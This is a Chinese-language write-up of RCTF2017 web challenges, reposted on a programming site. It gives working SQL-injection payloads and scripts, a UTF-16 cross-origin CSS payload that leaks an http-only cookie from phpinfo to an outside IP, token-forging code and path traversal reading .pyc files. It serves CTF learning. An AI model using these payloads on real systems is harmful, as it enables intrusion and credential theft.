RCTF2017 web writeup

栏目: 编程工具 · 发布时间: 6年前

内容简介:RCTF2017 web writeup

膜蓝猫师傅,比赛中的很多题目使用的技巧其实都是常用的技巧,但是却没想到会在不同的情况下产生新的利用,让我有了新的理解。

RCTF2017 web writeup

RCTF2017 web writeup

rcdn

Are you pro?

http://rcdn.2017.teamrois.cn

There is no XSS or SQLi. Just prove you are a pro(e.g owning a pro short domain), you will get flag.

这里是个挺常见的trick,之所以做出来的人,可能是没有想明白题目中的提示。

站内有效的功能不多,可以新建basic的cdn,新建成功之后,会获得一个8位的随机字符串做子域名。

还有个可以提交ticket的地方

http://rcdn.2017.teamrois.cn/support/ticket

重点是这里的subdomain,提交超过6位的子域名,就会提示,这里不能给basic使用

Only email support is available for Basic CDN Service.

如果随便填个短位的,就会提示不存在

RCTF2017 web writeup

如果企图用别的方式绕过的话,比如?,也同样提示不存在。

这里我觉得很多人都想多了,因为hint已经提示了返回flag的方式

Just prove you are a pro(e.g owning a pro short domain), you will get flag.

事实上,只要提交长度为6位一下,但是却又是属于自己的子域名的话,就能拿到flag了,而后台是浏览器完成的,会点击这里提交的链接。

这里用到的小trick其实很常见,大部分时候,会被我们利用在xss中.

可以看这篇文章 http://www.hackdig.com/?08/hack-12844.htm

dz : dz     //valid domain ext
 ₨ : rs     //valid domain ext
 № : no     //valid domain ext
 ℠ : sm     //valid domain ext
 ℡ : tel    //valid domain ext
 ™ : tm     //valid domain ext
㎁ : na    // valid domain ext
U+3377 : dm   //valid domain ext
㎃ : ma  // valid domain ext
㎋ : nf  //valid domain ext
㎖ : ml  //valid domain ext
㎙ : fm  //valid domain ext
㎝ : cm  //valid domain ext
㎰ : ps  //valid domain ext
㎳ : ms  //valid domain ext
㎺ : pw  //valid domain ext
㎽ : mw  //valid domain ext
 ㏄ : cc  //valid domain ext
㏅ : cd  //valid domain ext
㏉ : gy  //valid domain ext
 ㏌ : in  //valid domain ext
 ㏗ : ph //valid domain ext
 ㏚ : pr  //valid domain ext
 ㏛ : sr  //valid domain ext
 fi : fi  //valid domain ext
 ſt : st //valid domain ext
 st : st //valid domain ext

其中一共有这么多unicode的编码字符串。这里需要一个脚本来跑跑

import requests

s = requests.Session()

ll = ['dz', 'rs', 'no', 'sm', 'tel', 'tm', 'na', 'dm', 'ma', 'nf', 'ml', 'fm', 'cm', 'ps', 'ms', 'pw', 'mw', 'cc', 'cd', 'gy', 'in', 'ph', 'pr', 'sr', 'fi', 'ft', 'st']

url = 'http://rcdn.2017.teamrois.cn/dashboard/basic/new'

cookie = {'sessionid':'vk7i4n6qwy6m8c70je9occjyitttto73', 'csrftoken':'rqUhZxckLtvm25DOlhLwaaJgfhfv6sHiYxy5Yd78ODveAWiUbU29KieOujDpHVfg'}


for i in xrange(30):
	r = s.get(url, cookies=cookie)

	index =  r.text.find('Pending</td>')

	id = r.text[index-34:index-26]

	print id
	count = 0
	for i in ll:
		if i in id:
			count+=1

	if count >1:
		print "[success] "+id
		exit()

	uurl = 'http://rcdn.2017.teamrois.cn/dashboard/basic/destroy/'+id

	r = s.get(uurl, cookies=cookie)

RCTF2017 web writeup

login

登陆处有注入,这里最大的问题在于长度,username只能输入36位长的字符串。而这里也埋下了很多伏笔,题目本身是会返回报错的,我们也能从报错中获得很多信息,比如表名,fuzz列名,但实际上这里的显错理论上并不够做更多的事情(不知道有没有人能构造出来)…理论上来说这里个大坑。

通过显错我们可以得到,表名user,可以测试出的字段id,username,password

接下来就是构造盲注了,为了节省位数,我们需要用户名为一位的账号,不知道是不是故意的,有好几个账号为一个字母,密码也为一个字母的号,随便挑一个。

构造payload

"p'||substr(username,1,1)='a"

可以fuzz,是否存在用户名的第一位为a的用户,如果存在,那么select出来的密码将和输入的密码不匹配,登陆失败,如果不存在,select出来的密码将为账号p的密码,就会登陆成功。

翻了半天发现username没有收获,后来无意间注入了id为1的账号和密码,才有所收获

"p'||id=1&&substr(password,1,1)='a"

得到id=1,账号为admin,密码是一个hint

hint:flag_is_in_this_table_and_its_column_is_qthd2glz_but_not_the_

已经得到了有效信息,后面也没继续跑了

下面我们要注入这个字段qthd2glz,这里又有了问题,这个字段根据猜测应该是用来储存用户密码加密的盐的(后来发现还有假flag),因为长度限制的关系,我们只能通过前后字母的关系来确认判断,通过预设 RCTF{ 开头来跑接下来的数据,很快我们就能得到一个全小写的flag.

RCTF{s1mpl3_m_err0r_ba3ed_i}

但问题在于我们无法知道哪些字母是大写的,这里只能通过hex来判断,但是这样一来,位数就不够用了,只能通过2位的前后关系来判断结果,就好像世界线崩坏了一样,不过配合一些手工,结果很多就出来了。

附上最后使用的脚本

import requests

s = requests.session()
ll = "_}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = "http://login.2017.teamrois.cn/login"

def test():
	r = s.get(url = url)
	csrf = r.text[1813:1867]
	result="RCTF{S1mpl3_M_Err0r_Ba3eD_I}"

	# for j in xrange(28):
	for i in ll:
		sql = "p'||substr(hex(qthd2glz),"+str((len(result))*2-1)+",4)='"+result[-1:].encode('hex')+i.encode('hex')
		lll = "123456789012345678901234567890123456"
		# RCTF{S1mpl3_m_err0r_ba3ed_i}
		# RCTF{this
		print sql
		data = {"username":sql,"password":"p","_xsrf":csrf}
		rr = s.post(url,data=data)
		
		if 'Login' in rr.text:
			print i
				# result+=i
				# break

		# print result

test()

rblog

 There is no flaw in the source code. Think about other attack surface. If you have built your own blog, you will know where the flag is. 

https://static2017.teamrois.cn/web_ad7148fcda06df35821c298c2c766ef5/rblog_10df92e9d4ed73e4fa18ed2a7c67f38a.zip

https://blog.cal1.cn

hint也是一大把

There was a post on the blog containing the flag you want, but it has been deleted before the CTF starts. How will you find it back?


This challenge has nothing to do with social engineering or the writeups inside. What's the most common third party service related to personal blogs?

一个比较有趣的web题目,因为整个问题是我自己亲身经历过的,有一次在比赛还在check阶段的时候不小心把比赛的wp发到了blog上,后来被提醒就撤下了文章…结果无意间发现,blog中的文章虽然没了,但是rss阅读器却在我第一次更新的时候,就记录下了文章,并且在我删除文章之后,rss阅读器仍然保留了这部分。

所以看到hint很快就能想到这个,blog本身没有问题,flag是在比赛开始之前被删除了,问题在于blog的一个组件上。

于是在feedly上订阅

https://blog.cal1.cn/feed

就能拿到flag了,这里有个坑是,如果订阅

https://blog.cal1.cn/static/atom.xml

是没用的,feedly并不认为这两个是同一个源

RCTF2017 web writeup

noxss

There is no XSS or SQLi. Flag is in http-only cookie. The /phpinfo.php may be helpful.

hint

Trick the browser to leak information. Admin is using latest stable Chrome.

You can check this to find out what's new in php5.6: http://php.net/manual/en/ini.core.php .

The HTML filter is whitelist-only mode. If a tag or an attribute is not on the whitelist, it will be wiped out. Maybe you should investigate why I choose php5.5 instead of php5.6, for php5.5 is neither in apt-get source nor on docker official images.

php5.5 is used for a reason (instead of higher version).

不知道其他做题的人是怎么理解着4条hint的,下面我就先讲一下这部分。

后台的html filter是白名单,测试发现,只有

<img>
<a>
<link>

这三个可以使用,这几个里几乎只有link是基本上没做限制的。

其他的三条hint都是在围绕同一个信息。

RCTF2017 web writeup

默认编码,一个从5.6开始设置默认值,主要作用于 htmlentities() , html_entity_decode() and htmlspecialchars() 等等这些字符串处理函数,也许你不太明白怎么回事。

这个漏洞是我在学习google团队的bypass csp的时候发现的文章

http://blog.innerht.ml/cross-origin-css-attacks-revisited-feat-utf-16/

有心的话,可以在我得博客某个角落找到这篇文章。

首先科普一个问题,浏览器在处理请求结果的编码问题时候,通过有下面3个优先级:

原文见 https://www.w3.org/TR/css3-syntax/#input-byte-stream

1、BOM

2、content-type header(e.g. Content-Type: text/html; charset=utf-8)

3、环境编码( <link> )

第一种暂且不论,因为我们很少遇到,第二种是我们比较常见的,也就是上面 php 默认编码会影响到的,生活中还有一种是我们经常会遇到的 <meta charset>. ,这种优先级则低于link。

那么问题来了,即便我们可以控制编码,又能怎么样呢。

这里要提到一种编码叫做utf-16,让我们来看看utf-16的结构

RCTF2017 web writeup

utf-16会把utf-8中正常的字符,2位作为一个字符解析,如果我们用utf-16引入utf-8,那么就会引入一大堆乱码。

如果你熟悉css,你可能会知道,css本身是一种容错率很强的语言,css文件即使遇到错误,也会一直读取,直到有符合结构的语句。

让我们回到站内继续讨论。

1、站内是一个比较常见的xss留言板,还有不太严格的csp

Content-Security-Policy:default-src *; img-src * data: blob:; frame-src 'self'; script-src 'self' unpkg.com; style-src 'self' unpkg.com fonts.googleapis.com; connect-src * wss:;

2、站内有phpinfo.php,在phpinfo中会记录当前用户的所有cookie信息,包括httponly(我们通过读取phpinfo页面内容就能获取flag)

3、phpinfo.php还会接受所有的request请求,显示在页面里

RCTF2017 web writeup

那么如果把上面的所有思路连接起来,就能构成我们要的payload了。

1、通过link,以utf-16的方式引入phpinfo页面。

2、写入

)},{}*{background:url(http://yourip?

类似的css

3、由于请求会在phpinfo页面中出现多次,所以后一条可以闭合前一条,用来读取这中间部分的页面内容。

完整payload:

<link tye="text/css" charset="utf-16" href='http://noxss.2017.teamrois.cn/phpinfo.php?a=%00)%00}%00,%00%7B%00%7D%00*%00{%00b%00a%00c%00k%00g%00r%00o%00u%00n%00d%00:%00u%00r%00l%00%28%00h%00t%00t%00p%00:%00/%00/%001%001%005%00.%002%008%00.%007%008%00.%001%006%00?%00' rel="stylesheet">  1

RCTF2017 web writeup

打回来的东西需要解码

s = "xxxx"
ss= decodeURIComponent(s)

var decodedData = unescape(escape(ss).replace(/%u([\da-f]{2})([\da-f]{2})/gi, '%$2%$1'));

decodedData

可惜了,因为构造的payload在bot那里遇到一些问题,所以把蓝猫师傅叫醒了修了下bot才收到flag,错过了一血。。。

RCTF2017 web writeup

但事实上,题目没有就这样结束,因为上面的方法是预期解,但蓝猫师傅告诉我,CyKor通过绕csp的方式执行js,读取了flag,我仔细研究一下发现确实可行。

由于cdn https://unpkg.com/ 收录所有版本的npm包,所以如果上传一个包含恶意payload的页面。

通过link import包含进来,那么js就会执行,并获取flag

Rfile

An anti-hotlink file storage.

hint

rFile is powered by flask, it's designed to be a Large Application at first

站内是个下载站,站内的下载做了防盗链,看index.js可以发现每30s会请求api/download,会返回json格式的数据。

RCTF2017 web writeup

测试一下发现token是md5(filename+timestamp),那我们可以随便写个exp

import requests
import hashlib   
import json
import sys

reload(sys)
def md5(data):
	src = str(data)
	m2 = hashlib.md5()   
	m2.update(src)   
	return m2.hexdigest()
def getTime(tmpToken,tmpFile,mtime):
	mtime = int(mtime)
	while True:
		if md5(str(mtime)+tmpFile) == tmpToken:
			return mtime
		else:
			mtime = mtime+1

def getToken(filename):
	url = "http://rfile.2017.teamrois.cn/api/download"
	req = requests.get(url=url)
	data = json.loads(req.text)
	tmpToken = data[0]['token']
	tmpFile = data[0]['fname']
	mtime = data[0]['mtime']
	stime = getTime(tmpToken,tmpFile,mtime)
	token = md5(str(stime)+filename)
	return token
def getFile(filename):
	token = getToken(filename)
	url = "http://rfile.2017.teamrois.cn/api/download/"+str(token)+"/"+filename
	print url
	req = requests.get(url = url)
	data = req.text
	print data
	# fp = open("./rfile/__init__.cpython-35.pyc","w")
	# fp.write(data)
	print "download success!"


getFile('../__pycache__/conf.cpython-35.pyc')

脚本有了,剩下的就是读取文件的问题了,开始研究一下,发现如果读取 ../__init__.py ,会返回 filetype not allowed ,回想一下之前做过的pwnhub,classroom。

如果是 python 3写的python应用,那么一定会存在 __pycache__/ 这个文件夹,这个文件夹里会存所有py文件生成的pyc文件。并且,后缀名为 .cpython-35.pyc

那么我们尝试读取 ../__pycache__/__init__.cpython-35.pyc ,然后用uncompyle反编译获取的py文件,代码里可以看到secret_key是从conf.py读取的,那么我们读取 conf.cpython-35.pyc ,就能拿到flag了。

RCTF2017 web writeup


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Web Design in a Nutshell

Web Design in a Nutshell

Jennifer Niederst / O'Reilly Media, Inc. / 2006-02-21 / USD 34.99

Are you still designing web sites like it's 1999? If so, you're in for a surprise. Since the last edition of this book appeared five years ago, there has been a major climate change with regard to web......一起来看看 《Web Design in a Nutshell》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具